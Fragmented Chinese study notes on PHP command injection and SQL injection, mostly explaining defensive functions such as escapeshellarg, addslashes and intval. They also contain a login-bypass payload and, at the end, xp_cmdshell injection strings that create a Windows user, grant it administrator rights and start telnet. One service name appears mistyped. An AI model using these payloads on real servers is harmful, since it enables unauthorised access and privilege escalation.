/

命令注入攻击:

使用的是system函数执行windows系统dir命令,来显示URL参数dir所指定的子目录的内容。 可以使用escapeshellarg函数来处理命令的参数,防止URI来进行命令注入攻击

使用的是passthru函数执行windows系统命令,读取URL参数username所指定的来访者账号,并显示来访者的登录日志的内容。 可以使用escapeshellarg函数来处理命令的参数,防止URI来进行命令注入攻击

/

攻击实例:绕过账号、密码的检查

万能密码:2'or'1

攻击1的防护方法是:字符串变量的过滤方式(使用addslashes函数)。

使用addslashes函数来将SQL语句中的单引号、双引号、“\”及NULL字符加上反斜线“\”。

例如:addslashes("O'reilly")会变成:"O\'reilly"

注意,如果在php.ini文件中将magic_quotes_gpc设置为On,那么在GET、POST和COOKIE的数据上会自动执行addslashes函数。如果再调用一次addslashes函数,就会变成加了两次反斜线“\”而产生错误。

点击“防护1”,进行输入,“账号”文本框中输入“'OR"='”,“密码”文本框中输入“'OR"='”,网页不会提交。

/

PHP语法:stripslashes(string)

/

mysql_real_escape_string(string,connection)

参数描述

string必需。规定要转义的字符串。

connection可选。规定 MySQL 连接。如果未规定,则使用上一个连接。

/

在循环中使用,is_numeric() 判断是否是数字

/

在ASP中Replace的语法为:Replace("字符串","要被替代的字符串","替代后的字符串","开始字符位置","替换次数")

/

攻击2实例:删除数据库的所有记录

攻击2的防护也可以使用addslashes函数来将SQL语句中的单引号、双引号、“\”及NULL字符加上反斜线“\”。

/

攻击3实例:盗取密码

SQL注入攻击(SQL Injection)之所以会发生,是由于SQL语句被篡改的缘故。因此防御的方法,就是检查SQL语句中的变量数据是否是正确的格式。

(1)如果数据确定是整数,就使用intval函数来将数据转换成整数。例如,id值通常是由MySQL数据库产生的整数类型的数字,因此使用intval函数来将id值转换成整数,以避免id值被窜改。

(2)如果数据确定是浮点数,就使用floatval或doubleval函数来将数据转换成浮点数。floatval与doubleval函数的功能与语法相同。

(3)如果数据确定是字符串,就使用addslashes函数来将单引号、双引号、“\”、及NULL字符加上反斜线“\”。

/

asp一句话木马:

php一句话木马:

/

1.添加用户

'exec dbo.xp_cmdshell 'net user X /add ';

2.更改密码

'exec dbo.xp_cmdshell 'net user X password ';

3.提升到管理员权限

'exec dbo.xp_cmdshell 'net localgroup administrators X /add ';

4.打开telnet服务

'exec dbo.xp_cmdshell 'net starttlntstr ';